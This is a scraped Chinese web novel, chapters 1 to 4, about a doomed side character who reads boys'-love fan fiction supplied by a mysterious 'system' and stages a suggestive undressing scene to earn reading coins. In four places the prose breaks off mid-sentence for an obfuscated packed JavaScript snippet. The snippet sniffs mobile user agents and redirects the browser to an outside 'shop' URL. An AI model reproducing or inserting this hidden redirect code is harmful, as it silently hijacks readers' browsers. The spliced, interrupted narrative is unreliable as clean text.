《漂亮炮灰看到限制级同人文后》 1. 第 1 章 【你叫纪运,是贵族纪家家主第六个孩子,今年二十岁。】 深夜时分。 纪运站在床边,警惕地打量着四周。 随着他的动作,几缕黑色短发落在额前,发梢在眼睑上投下细小的阴影。他的容貌精致,眼尾微微上挑,鼻梁挺秀,透着近乎锋锐的秾丽,天生上扬的唇角此时却抿成一条直线,透露着几分严肃。 刚才就在他即将入睡时,耳边突然响起了这道奇怪的声音。 他瞬间起身,警惕的打量着四周,但是却没有找到其他人的身影。 而细细想来,这道声音也着实古怪,仿佛是在他的脑海中响起..... 纪运不由得怀疑是否是其他人的异能。 毕竟百年前灵气复苏,一些人类觉醒异能,成为站在人类社会顶端的异能者,可以直接在他的脑海中通信也不算奇怪。 只是不知道这个异能者躲在哪里,又为什么找上他,宅子里的其他异能者也都像是没有察觉到一般毫无反应..... 既然暂时无法找到对方的身影,纪运心念陡转,决定尝试着出声,看能否通过让对方再次出声,确定这道声音主人的位置。 然而没等纪运试探着出声询问,那道声音已经再一次响起。 只是这一次对方话语中的内容,却让纪运心底一震。 按照对方的话语,它是来自高位面的系统,纪运所生活的世界是一本男频无CP都市异能小说,男主过关斩将,从最弱异能者一路逆袭成神,而纪运却只是小说中的一个恶毒炮灰,男主成神路上的绊脚石,在故事开始没多久就下线了。 纪运:“.......精神病不是什么难以启齿的事情,该治疗还是治疗吧。” 这道声音讲述的内容实在是太过荒唐,即使他毫无治疗异能,也能直接给这个异能者确诊精神有疾了。 那道声音却并没有恼怒,而是继续出声—— 【你对外宣称是单系风系异能者,实际上拥有双系异能。】 【你的母亲是无异能的普通人,多年前凭借着美丽的容貌和纪家家主有了露水情缘,生下了你。不过因为你刚出生时毫无异能,母子直接被赶出家门。】 【直到你成年后,纪家闻讯直到你觉醒了攻击系异能,想要派人杀掉你的母亲,让你毫无退路的回到纪家。但是你用你的第二异能催眠了纪家雇佣的异能杀手,让他误以为你的母亲已死,只带着你回到纪家复命。】 【实际上你的母亲已经被你送到别的城市换身份生活,你想要获得纪家家主的身份后,光明正大的将母亲接回家。】 【而你的另外一个梦想则是成为世界第一异能强者。】 一道道声音清晰的传入到了他的耳边,也令纪运的眼神愈发凌厉—— 这道声音讲述的和事实分毫不差,但拥有双系异能的事情只有他自己知道,就连母亲那边都因为担心对方说漏嘴的原因暂时隐瞒,这道声音为什么会知道? 难道当时对方也在现场? 这个猜测刚浮现在纪运的脑海之中,就被他否决,毕竟当时他还特意观察过,十分确信周围并没有其他人。 那道声音仿佛察觉到了纪运的警惕,又讲了几件应当只有纪运才知道的事情,而后施施然开口:【现在你相信了吧?】 虽然那道声音叙述的内容在纪运看来依然难以置信,但是因为对方提出的几件事情是独属于他的秘密,因此纪运最终还是暂且相信了这道机械音的话语。 看来对方确实来自高位面,他们所在的世界也是一本小说,所以这道声音才能如此了解他的秘密...... 而纪运的重点很快落在了系统之前提到的一件事情上—— 纪运:“你说我很快就会下线死亡?是因为什么事情?” “只要你告诉我,我可以付报酬。” 之前听到系统的话语,纪运嗤之以鼻,但是现在既然意识到对方都知道些什么后,他也不由得回顾对方之前的话语。 骤然意识到对方曾经提到过自己的死讯,纪运的心底一沉。但是他来不及悲伤,只想知道这究竟是怎么一回事,好想办法避免。 他怎么会突然死亡,难道是男主做的...... 纪运的大脑飞速运转,分析系统既然透露给他这些消息,想必是有所图谋,因而他先试探着提出了条件。 系统:【别担心,我正是为此而来。】 【因为版权原因,我无法全部告诉你。】 纪运:“.....版权?怎样才能获得版权,全部买下来吗?” 他在心里思索着自己能够在纪家动用的资金,不知道能否买下版权。 系统:【本世界的货币与高纬度世界的货币并不相通,但是——】 听到系统的前半段话时,纪运的心底浮现出几分失望,但是系统的后半句话又让他的心底生出希望,没想到还有反转。 系统:【我有同人链接。】 纪运:??? 纪运的声线带着不加掩饰的迷茫:“同人.....是什么?” 系统:【也是,你平常忙于异能训练,连小说都没有看过几本,更别说知道同人这件事情。】 【同人就是......】 纪运已经来不及感慨系统究竟有多了解他,毕竟系统接下来所说的话带给纪运的震撼,并不比之前得知这个世界是本小说的冲击力小。 按照系统的话,同人是粉丝基于对自己喜欢的原著进行的二次创作。 而纪运虽然早早下线,但是却是人气男配,吸引粉丝无数,以他为主角所写的故事也不在少数,all运更是霸占cp榜热榜。 好消息,他很受欢迎。 坏消息,他的CP都是男性,他本人还是身体关系中下面的位置。 纪运作为直男的世界遭受了冲击。 他艰难的理解着系统的话语,安慰自己只是看同人而已。 自从回到纪家后,纪运就已经下定决心—— 无论付出什么代价,他都要获得纪家家主的位置。如今只是让他看同人而已,又不是要他上演同人内容..... 性取向虽可贵,生命价更高。 这么想着,纪运原本停滞的思绪终于再次运转,他也旋即出声:“我要看。” 在纪运的话音落下后,他的脑海中很快浮现出了一段段文字。 由于已经知道系统来自异世界,对于对方所展现出的能力,纪运已经不会再惊讶,因此转而认真看起了这段文字。 而与此同时,纪运的耳边也响起了系统的声音:【这是我精挑细选的,最贴合原著的同人合志,由十几位作者联合出品,集合你的大热CP......】 纪运没能听下去,毕竟他的注意力已经被脑海中的文字吸引。 他想要直接检索有关自己死亡的部分,然而奇怪的是,面前的页面并没有目录和翻页功能,只能上下滑动。 纪运决定先看眼前的内容。 系统所传来的内容章节描述的是他和原著小说男主霍钊的相遇。 霍钊这个名字,有些耳熟...... 纪运的大脑飞速走马灯,终于回忆起了对这个名字的印象来自哪里—— 对方是异能学院前几天刚入学的新生,因为出众的容貌引起了轩然大波,惹得纪运的跟班吐槽过心仪的女生都被霍钊吸引。 纪运则是更关心霍钊的异能。 不过知道对方毫无异能,压根对他构不成威胁后,纪运便丧失了解霍钊的兴趣,只闻其名未见其人。 没想到霍钊竟然就是男主角。 纪运默默在心里记下了这件事情,用研究文献的专注,逐字逐句阅读起了浮现在脑海中的内容。 按照上面所写的内容,他和霍钊将在明天初次见面。 纪运的一个同学在今晚因为对霍钊抢走女神这件事情怀恨在心,告诉朋友自己决定趁着夜色去找霍钊报复,没想到很快却传来他重伤昏迷的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523440|203380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消息。 因为深知异能者等级之间的巨大鸿沟,大家也并不觉得是霍钊这个没有异能的人会导致B级异能者同学的重伤,因而并没有怀疑霍钊,只当对方是遇到了强敌。 纪运为了拉拢同学身后的家族,决定调查对方重伤这件事情。由于霍钊算是间接见过同学的人,因而纪运也先去找了对方。 纪运这下倒是相信了这同人应当是按照原著内容所衍生,毕竟里面关于他的心理描述和动作,都符合他一贯的思维和行动。 只是在见到霍钊后,两人之间的气氛发生了古怪的变化—— 【纪运:“你是霍钊。” 面前的霍钊并没有应声,但是纪运已经看过对方的照片,因而即使面前的人并不回答,他也已经知道了对方的身份。 纪运:“那晚你在湖边见过原旭,我需要知道他和你说了什么,以及之后你去了哪里。” 霍钊终于有所反应,冷冷抬眸看了过来:“该说的我已经和调查组说过了。” 纪运听说过那份调查报告,只是他更相信自己调查的结果,因此还是又出声询问了一遍,还附上可以许诺丰厚的报酬,只是霍钊却并没有回答的意思,转身就要离开。 如果放在之前,纪运还能尝试着使用自己的第二异能,对面前的霍钊进行催眠。 不过他前几天才使用过一次,使用催眠异能每次都需要间隔一定的期限,因此这段时间纪运无法使用。 纪运却并不想放过这条可能的线索,旋即一咬牙,决定换一种审问的方式。 既然威逼和利诱都不奏效,那他就..... 眼看着对方快要从自己面前走出去,纪运伸出手攥住了霍钊的手腕。 力道不重,却带着一种不容拒绝的笃定。 霍钊的脚步被迫顿住,他没有回头,只是微微偏了偏头,露出半截线条分明的侧脸。 在感受到霍钊即将抽出手前,纪运的另一只手抬了起来,指尖落在自己制服的领口。 或许是因为疑惑,霍钊原本想要抽出手的动作一顿,目光跟着那根手指移动了一寸,随即停住了。 印着校徽的银质纽扣从修长的指尖滑落,纪运制服的外衣微微敞开,露出里面黑色内搭的边缘。 纪运的动作不快,指腹按在第二颗纽扣上,发出一声轻响。他的视线落到霍钊身上,注意到对方也一直看着他。 制服彻底敞开了。 两人的视线相触,霍钊没有再出声,但是呼吸粗重了一些。 对方并没有疑惑纪运究竟要采用何种方式,毕竟眼下的他们都已经明白—— 纪运这次许诺的条件是他自己。】 纪运:??? 纪运的身体一僵,后知后觉想起来自己看的是同人文—— 他怎么可能做出这种事情,他和霍钊之间也不可能发生这种事情...... 这么想着,纪运的心情终于稍稍放松。 纪运已经隐隐猜到了下面的一大段内容是什么。 他本来以为自己已经做足了心理建设,不过此时的纪运才意识到他做的心理建设还不够。 经过短暂的心理挣扎,纪运还是放弃了继续逐字逐句看下去,一口气拉到底部,确认没有什么重要的内容后,想要点击下一章。 然而令纪运没有想到的是,他左看右看,都没能找到通向下一章节的内容。 纪运:“系统,这是......” 按照系统的话,这本同人志可不止一章,还是说是有什么特殊的翻页方式? 系统:【你还没有完成任务,不能翻越下一章。】 纪运:“.......什么任务?” 不知道是不是因为刚才看了同人残留的震惊和胆颤,听到系统在此刻提到任务的存在,他的心底莫名生出了几分不详的预感。 而这预感在系统接下来的话语中得到证实。 系统:【虽然我获得了同人版权,但是......】 2. 第 2 章 按照系统的话,虽然它很想帮助纪运,但是按照规则,纪运翻阅章节并非无偿,他需要完成同人文中的剧情,好让系统能够录下视频当作同人素材上传到网络,赢得大家的打赏,将打赏的阅读币用于购置后续章节。 纪运很快抓住了重点:“所以.....我需要表演同人剧情才能够获得阅读币?” 系统:【没错。】 纪运:“我.....” 想到刚才看到的剧情,他几乎下意识就想要拒绝,然而想到系统提示的自己将来会死亡的消息,他语气一顿,最终还是没有直白的将拒绝的话语脱口而出。 纪运:“我想想。” 系统知道纪运能够说出这句话已经足够不容易,因此并没有再步步紧逼。 系统:【当然可以。】 在知道眼下无法翻阅后面的章节后,纪运决定先行休息。 * 纪运是被闹钟的声响吵醒的。 他缓缓睁开眼睛,昨天发生的一切也如同潮水一般涌来。 系统,所谓的高维世界,同人文...... 他一边期待着之前发生的一切只是一场梦,一边尝试着呼唤系统。 系统:【我在。】 好吧,看来昨晚发生的一切都是真的。 纪运颇为失望的在心里思索。 他恨不得没看过的同人文内容也再一次浮现在脑海之中,想到同人文中提到的事情,纪运犹豫了一下还是拿起手机,想要察看有没有什么消息。 而纪运刚拿起手机,就看到屏幕显示是他的跟班来电。 虽然已经猜到对方要说些什么,但是为了验证自己的猜测,纪运还是接了电话。 电话刚接通,跟班的声音已经迫不及待响了起来:“原旭出事了!” “昨天他不是在班里说要找霍钊的麻烦,昨晚就迫不及待行动了,结果现在重伤昏迷,听说特别惨,但是查不出具体是什么异能。他已经没有意识,目前还在抢救中,他的家族也在全力调查这件事情......学院里都传疯了......” 这和昨天同人文里提到的相差无几。 纪运的心彻底一沉,最后一丝侥幸破碎—— 这同人文竟然真的是透露了即将发生的事情。 他和原旭的关系并不算深,但是其背后的家族原家还算有些势力,如果能够拉拢过来,对于他坐上纪家家主的位置也多些支持。 更何况从同人文来看,这件事情显然和霍钊脱不了干系,毕竟纪运已经知道对方的异能并不像是同学们所知的那样毫无攻击性。 一番思索后,纪运还是决定去见一见霍钊,一方面是想要试探对方的异能究竟是什么,另一方面..... 霍钊是有可能威胁到他死亡和成为世界第一异能者的存在,为了防止夜长梦多,还是找机会早早铲除好一些。 纪运:“我去调查一下。” 系统兴奋地声音响了起来:【你果然会去察看情况,是想通了吗?!】 纪运并没有回答,也并不准备告诉系统自己前去的真实目的,毕竟他还没有完全信任系统。 * 换好学院校服后,纪运下楼吃过早餐,便赶去了天枢学院。 天枢学院是如今世界上最顶尖的大学,汇聚来自世界各地的精英异能者,也会择优录取一些没有异能的人培养为后勤。 原旭出事的消息已经传开,纪运走在人来人往的学院内,耳边大部分都是讨论这件事情的原因。 纪运并没有像是之前同人文所写的那样立即去找霍钊。 在知道霍钊并非普通人后,纪运自然不准备像是之前那样贸然去找人。在去学院的路上,他还尝试着想要从系统那里套出有关霍钊的异能,但是对方在这方面倒是嘴严,并没有丝毫泄露的意思,只是不忘打广告—— 系统:【同人里已经写了,只要你赚到阅读币.....】 纪运意识到已经不可能从系统这里问出什么,随即决定先找人调查一下霍钊的资料,看能否调查出霍钊的异能。 想到学院内流传的有关霍钊的消息都是无异能者,纪运并没有再费心在学院内打探消息,而是直接求助学院外的人。 他花了重金找了擅长调查身份的异能者,不过半小时,霍钊的个人信息已经如数传到了纪运的手机上。 不过令纪运失望的是,这个异能者调查出了霍钊来自底层城区,早早死去的父母都是无异能者,异能这一栏却依然显示空白,意味着毫无异能。 纪运又尝试着让跟班去跟踪霍钊,他并没有告诉跟班有关同人系统的详细情况,只是让对方跟踪看霍钊是否有异能。跟班并不理解对方对霍钊的怀疑,但是看着纪运,还是下意识听从了他的话语。 一天过去,对方虽然全须全尾的回来了,但是却一无所获,也没有带来有关霍钊是异能者的任何消息。 跟班:“我想测试他有没有异能,就用异能威胁他,但是他理都不理我,气死我了,要不是学院内禁止真的使用异能,我也想好好教训他了......” 他对霍钊的受欢迎本来就颇有微词,因此没跟踪多久,就故意找霍钊的茬,但是没想到对方并不理会他。更别说当时还有不少人在场,让跟班觉得愈发丢人,对霍钊的恨意也进一步加深。 纪运不抱希望地询问:“他对你使用异能了吗?” 跟班:“没有啊,我觉得他就是一个普通人.....” 纪运蹙眉,如果放在之前,他自然会相信霍钊并没有什么异能,但是他如今已经从系统那里知道了霍钊有异能这件事情,也从系统的些许言语中嗅到了霍钊和原旭之间脱不了干系,因此并没有就此放弃。 他决定亲自前去察看情况。 * 纪运知道自己的容貌出众,再加上他A级异能者的身份在学院内同样是知名人物,因此纪运特意伪装后才去找了霍钊。 虽然之前已经听到过其他人如何形容霍钊的容貌,但是在看到对方的一刹那,纪运还是一怔—— 对方的眉骨高挑,黑色的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523441|203380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛透着深邃冷淡,垂落的长睫并不显得柔和,反而给那双冷眼添了一层疏离的屏障。高挺如峰的鼻梁从眉心一路流畅地延伸到鼻尖,侧面看去线条堪称完美,微抿的薄唇没有上扬的弧度,透露着几分冷厉。 剪裁利落的黑色学院礼服将他的身姿衬托的宽肩窄腰,身姿挺拔。即使霍钊没有异能,但是对方的长相就已经足够具有攻击性,难怪会在学院内引起热议。 纪运刻意和对方隔开一段距离,隐藏自己的身形,看着霍钊独自一人从教室中走出,又去角落独自吃饭。 因为原旭是去找霍钊路上出事的消息传开,总是时不时会有人去找霍钊询问这件事情。而面对或是疑惑,或是嘲弄的声音,霍钊的态度都一视同仁的冷淡。 一天下来,纪运几乎都没有听到过对方的声音。要不是资料上写着霍钊身体正常,纪运都要以为对方不会说话。 * 纪运跟踪了霍钊一个星期,却并没有找到任何有关他异能的蛛丝马迹。 随着时间的流逝,纪运难免焦灼起来—— 霍钊和对方神秘的异能犹如一块巨石压在他的心上,更别说还有不知何时就会到来的死亡威胁。 在系统又一次开口推销时,纪运终于出声:“我答应。” 系统:【没关系,你可以再想.....你答应了?!】 纪运实在没有勇气说第二遍,只能用点头的行动表达。 他在心里安慰自己这只是为了阅读币,只要他能够看到同人文里的下一章,就能够知道霍钊的异能是什么,也能够想应对的办法。 这么想着,纪运的心才稍稍好受了一些。 更何况..... 他垂眸,心里已经有一个计划悄然成型。 * 为了保险起见,纪运决定找个人更少一些的地方—— 霍钊家门口。 由于这段时间的跟踪,纪运对于霍钊家的地址在哪里,也称得上是轻车熟路。 对方并没有住在学院提供的宿舍,而是住在距离学院有一段距离,但是更加便宜的区域,入夜后几乎没有什么人。 纪运悄无声息的跟在霍钊身后,但是直到霍钊的身影已经消失在眼前,纪运都没能出现在霍钊面前。 系统有些恨铁不成钢地出声:【你只要抓住他的手,然后按照台词说就可以,我会将这些都录下来......】 纪运长叹一口气:“你知道的,我是第一次做这种事情。” “你说录制的主角是我,可不可以先只拍我的反应?” 系统:【你想要一个人演独角戏,假装霍钊在对面?】 纪运知道系统已经明白了自己的意思。 纪运:“没错,你说过最重要的是要根据视频获得阅读币,我.....我觉得只拍最重要的一段就可以,一些细枝末节的事情并不重要。” 这就是纪运想到的折中计划。 他故意先答应下来,又故意一直跟在霍钊身后,让系统越来越期待和焦躁,好获得谈判权。 3. 第 3 章 纪运之所以选择这个办法,一方面是因为他实在不想和另外一个男人如此亲密,另一方面也考虑到了霍钊。 虽然这是一本无CP文,但是纪运以己渡人,觉得他应当也是直男。当着霍钊的面表现这一出,反而说不定会惹恼对方。 即使根据他最近这段时间的观察,霍钊好像对周围发生的一切都不怎么在意,但是想到原旭的下场和在不清楚霍钊异能的前提下,纪运并不想冒这个风险。 系统沉默了好一会儿,像是在思索着纪运话语中的可行性。 不过考虑到纪运这个直男好不容易松口,系统最终还是选择让步:【可以,但是下不为例。】 【不过我建议你快一些,因为.....算了,我不能透露。】 纪运并没有将系统口中的下不为例放在心上,毕竟他只想过眼前这一关,而且说不定下一章就和他的死亡有关。 如今系统松口,对纪运而言也算是一件好事。 不过系统的语焉不详也令纪运心生疑惑,虽然不知道这是不是系统另类的催促手段,但是他确实担心自己剩下的时间不够。 听到系统估计如果现在拍摄完,两个小时后就能发布成功获得阅读币,纪运立即决定即刻行动。 当然,他也担心自己再拖下去,会没有勇气做这件事情。 为了方便拍摄,纪运解除了伪装,袒露了自己的本来面貌。 之前的同人文再一次浮现在纪运眼前,纪运一目十行的看了过去,又熟悉了一遍台词,而后确定四下无人后开始行动。 随着系统提醒开始录制,纪运也有了动作,他先装模作样的叫了一声霍钊的名字,而后手缓缓伸向了自己的衣扣—— 看来看去,只有这段他能够独立完成。 纪运很快解开了第一颗纽扣,随着领口的扣子松开,露出一截细瘦白皙的颈线。 他修长的指腹按着纽扣边缘,将第二颗纽扣从紧缚的扣眼中一点一点推出去,缓慢的动作像是在开一道复杂的锁。 虽然现在没有其他人,但是做这件事情还是令他感觉到了羞耻,因此动作好似拖延时间一般缓慢。 不过紧接着纪运就像是感觉到什么一般,停下了动作。 系统也察觉到了纪运的动作,疑惑地出声询问:【怎么了?】 纪运在心里回答系统的话。 纪运:“好像.....有人在看着我。” 他一边说一边用目光警惕的打量着四周。 就在刚才,纪运突兀的感觉到一道目光落在了他身上。虽然似乎只有一瞬,但是那目光冰冷的好似在看垂死挣扎的猎物,危险性如有实质,令纪运警铃大作。 然而他环顾四周,一切静悄悄—— 月亮依然安静的悬挂在天空,纪运的目光一寸一寸地碾过每一扇窗、每一道阴影、每一个可能藏人的角落,但是都没有发现可能的窥探者。 而那道如有实质般的视线早已消散的一干二净,而且他怀疑的不知道会从哪里窜出来的攻击,也根本没有出现的迹象。 难道是他紧张之下产生的错觉? 毕竟按照他所知的,这里住的都是普通人,而他隐藏在角落,一般人很难发现。 至于霍运这个最有可能的异能者,没事看他做什么? 系统:【或许是因为我打开了摄像头吧。】 纪运的思绪被系统的话语短暂拉回到了现实之中。 是啊,系统打开了摄像头。 此时摄像头带给他的震慑和威胁,也不比攻击小。 纪运稳了稳心神,确定那道目光再没有出现后,旋即让自己的注意力重新回到面前的事情上。 * 而纪运不知道的是,在不远处的楼上,还有另外一个看客的视线正落到这边。 霍钊坐在明亮的房间里,窗帘被拉的严丝合缝,但是他的黑眸却清晰的倒影出了外面的场景—— 月光难以照到的昏暗角落,一道人影正站立在那里。 他的异能之一就是能够覆盖周围的一切,因此即使不透过窗户和灯光,他也能够清晰的看到那道人影的模样。 对方穿着天枢学院的制服,鸦羽般的黑色短发下是一张精致的面容,白皙如玉,眉骨的弧度、鼻梁的线条、唇峰的轮廓,每一处都像是被人用极细的笔描摹过数遍才肯落墨,五官精致到让人一眼难忘。 霍钊认出了对方,这个人已经变换身份跟踪了他一个星期。虽然对方之前使用的面孔都刻意选了过目即忘的面容,但是霍钊轻而易举的看出了他的伪装,似乎是学院内颇为出名的纪运。 他并不知道为什么纪运会跟踪他,也并不关心,只要对方不会打扰到他,他也并不想深究纪运的目的。 霍钊原本想要收起视线,但是却听到纪运的声音响了起来,轻轻叫了一声他的名字。虽然刻意放低的音量像是自言自语,但是霍钊的异能早就将他的声音清晰的传入到了耳边。 纪运的声线称得上是悦耳,只是在此时突兀响起,令霍钊一顿,思索着对方是否像是上一个人一样前来挑衅。 不过霍钊的这个猜测很快就被推翻。 他看到纪运紧接着抬起了手。 那只手抬起来的弧度很慢,慢到霍钊几乎以为是自己的视觉出了问题。 纪运修长的指节在月光下泛着冷白色的光泽,指尖落在领口第一颗银质纽扣上,而后一截细瘦白皙的颈线从敞开的领口中露出来,即使在昏暗的光线下仿佛也泛着瓷器般的冷光,好似轻轻一握就会留下痕迹。微微滚动的喉结牵动着颈侧那道细长的阴影,让霍钊想起了被拨动的琴弦。 霍钊的视野能够清晰的看到纪运脖颈下的一点红痣,不偏不倚的落在靠近锁骨的地方,如果不仔细看,会被其他人当成是吻痕。 而纪运的动作并没有就此停下来。 他看着纪运的指尖从第一颗纽扣移到第二颗,指腹按着纽扣边缘,将它从紧缚的扣眼中一点一点推出去,又像是意识到什么一般顿住,目光扫向四周。 对方就像是受惊的小鹿,因为警惕而无意识用力的指尖已经泛白,但是纪运 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523442|203380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却并没有立即逃跑。 霍钊也很快意识到是自己探究的视线太过专注,导致纪运有所察觉。 他微微收起视线,那边的纪运似乎也察觉到了危险解除,这才继续动作。 随着第二颗纽扣被解开,制服的前襟失去了最后的束缚,微微向两侧敞开,露出里面黑色内搭的衬衣紧贴着身体,勾勒出纪运清瘦而匀称的轮廓。 纪运无意识的咬着下唇内侧,那处软肉已经被他碾出了一道浅浅的齿痕,但是他却浑然不觉,只是依旧低着头,仿佛此时全部的注意力只剩下面前这件事情。 这一次纪运的动作比之前更慢了,霍钊已经感觉到纪运迟缓动作背后隐含的羞耻,但是纪运却并没有停下动作。 第三颗纽扣松开的时候,纪运的指节微微颤了一下,像是在触碰什么不该触碰的东西。 制服的衣襟彻底敞开了。 从霍钊的角度看过去,纪运像是在拆开礼物,制服是包装纸,纽扣是包装带,而那双手、那十根修长苍白的手指,正将他自己剥开。 纪运的衣领滑落了半边,露出肩头的弧线。肩胛骨的轮廓在皮肤下若隐若现,像蝴蝶翅膀折叠时的形状。那件黑色衬衣贴着纪运的身体,从肩膀到腰线,从腰线到衣摆以下——霍钊的目光沿着那条线一路向下,然后停住了。 窗外的纪运已经将制服外套褪到了臂弯处,霍钊的目光落在纪运的侧脸上。 纪运那张精致得过分的脸此刻染着一层薄红,从颧骨一直蔓延到耳廓,咬着的下唇已经泛出一点殷红,与那片苍白的肤色形成了刺目的对比。 而纪运的声音紧接着响了起来:“如果我用我自己做交换,你愿意.....” 和刚才相比,纪运的声线放软了许多,明明话语里的内容像是在谈判,但是语气却更像是在撒娇。 那句话的后半截被纪运算准了时机般的吞了回去,像一颗石子投入深潭,涟漪荡开,却迟迟等不到落底的声响。 霍钊坐在椅子上,薄红从耳垂开始,沿着软骨的轮廓一路攀爬,像火焰舔过纸张的边缘,无声无息地烧了上去。 他愣住了。 纪运这是在做些什么..... * 纪运对那边发生的一切都浑然不觉,察觉到时机差不多了,在心底呼唤系统:“怎么样,都拍到了吗?” 系统:【拍摄结束。】 【不错,竟然还知道自由发挥,很有潜力.....】 听到系统的话语,纪运立即穿起衣服,重新系上扣子,对于系统的评价并不想说些什么,只想将刚才发生的一切都从脑海里打包扔出去。 最后一句确实是纪运的自由发挥,因为紧张,他连旁白都当成台词说了出来,没想到系统倒是分外满意。 只是对于系统夸自己有潜力这回事...... 他并不想在这一方面有潜力。 不过还好这一切都结束了。 纪运一边朝着纪家的方向赶去,一边催促着系统快些发布,他要尽早拿到阅读币。 4. 第 4 章 霍钊住的地方距离纪宅有不短的距离,即使纪运特意使用了风系异能让自己速度的更快一些,回到纪家后已经是一个多小时后的事情。 回到纪家时,纪运碰到了纪家家主正带着人准备出门。 看到纪运,纪家家主瞥了一眼,而后漫不经心地出声询问:“怎么这么晚才回来?” 虽然已经回到纪家几年,但是纪运和纪家家主,这位他名义上的父亲相处的颇为疏离。纪家家主本性风流,孩子无数,在家的时间少之又少,并不屑于和孩子们培养父子情谊。 而纪运虽然厌恶纪家家主对母亲做的事情,但是为了自己的计划,还是决定和对方虚与委蛇,因此很快回复:“学院里有些事情,我花了些时间处理。” 他语焉不详,知道纪家家主并不会仔细追问。 纪运的话音刚落,站在纪家家主身边的青年就嘲弄出声:“只学院里的事情都花了这么长时间处理,以后怎么面对整个纪家的事务?” “我看你出门也别说自己是纪家的人了,我都怕别人跟着笑我.....” 他是纪运同父异母的二哥纪潮,因为拥有S级异能,也是纪家家主目前最为看重的孩子。 纪运已经习惯了纪潮的嚣张跋扈,表面上装作什么都没有听到,实际上在心里暗暗记了面前的两人一笔。 “好了纪潮。”纪家家主适时出声,蹙眉打断了纪潮的讽刺,不过却并非为了纪运:“时间不早了,我们该去见首席了。” “我好不容易帮你获得这个机会,你不会想迟到吧?” 听到首席这个词语,纪潮原本的嚣张已经消散的一干二净,神色严肃又惶恐地点头:“好的父亲!” 而纪运在装模作样的和两人道别后,神色瞬间沉了下来—— 没想到纪家家主竟然带着纪潮去见了首席,看来对方已经彻底把纪潮当成了继承人。 毕竟首席的身份并不一般。 这个称呼在当今世界只有一人拥有,从异能觉醒的浪潮席卷全球的那一天起,这个名字就成为了所有人心头一座无法逾越的高峰。 对方的真实姓名是个谜,关于首席的来历、出身、年龄,外界多年来都流传着无数个版本的猜测,有人猜测他是在异能爆发的最初时刻觉醒了天赋的先行者,有人说他就是促使有些人获得异能的关键,重新定义了这个世界的规则。 但因为没有人敢向首席求证,所以这些猜测从未得到过证实。 人们对他的感情不仅仅是因为敬畏,更因为一种深入骨髓的、近乎本能的臣服。毕竟如今全世界通行的异能等级划分标准,从F级到S级的完整体系,是由首席一手建立的。而对方的异能则是公认的强大,这是从过去无数挑战者和危机中被所有人所深切知道的事情。 纪家虽然有些名望,但是和首席比不值一提,所以纪家家主和纪潮才会如此激动。 纪运同样崇拜着对方,渴望像是首席一样成为异能强者。 不过两人已经出发,纪运也没有阻拦的方法和理由。 好在就在这时,系统的声音响了起来,提醒他发布的视频已经获得了阅读币,纪运的心情这才好了不少。 他带着晚餐上了楼,回到自己的房间后才迫不及待地询问系统具体情况。 系统的声音中充斥着满意:【你拍摄的那段视频收到了不小的关注,有评论说.....】 纪运对评论并不感兴趣,连忙打断了系统的话语。 纪运:“我只想知道我获得了多少阅读币,能不能购买新的章节。” 系统:【根据视频收入结算,你获得了100阅读币,解锁一章需要50阅读币,你可解锁两章内容,是否选择现在解锁?】 纪运毫不犹豫的回答:“现在就解锁。” 他倒要看看霍钊究竟有什么异能。 纪运的话音落下,就看到眼前再一次出现了熟悉的屏幕,只是上面的文字和之前截然不同。 纪运深吸一口气,虽然情感上恨不得一目三百行的看过去,但是理智告诉他,好不容易解锁的章节,还是认真阅读为好。 只是在看了一会儿之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523443|203380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,纪运蹙眉,声线透露出几分疑惑和隐隐的颤抖:“霍钊在哪里?!” “为什么.....为什么会是.....” 起初看到开头和上一章无关时,纪运虽然奇怪,但是想到不用接着看不可描述的部分,微妙的松了一口气。 不过很快这口气又卡在了喉咙里。 这次的故事发生在他的房间。 【临近深夜,纪运却并没有像是之前那样立即就寝,而是时不时看向窗外。 时间一分一秒的过去,眼看着距离约定的时间都已经过去了半小时,纪运的心也沉了下来,他猜测对方应该不会过来了。 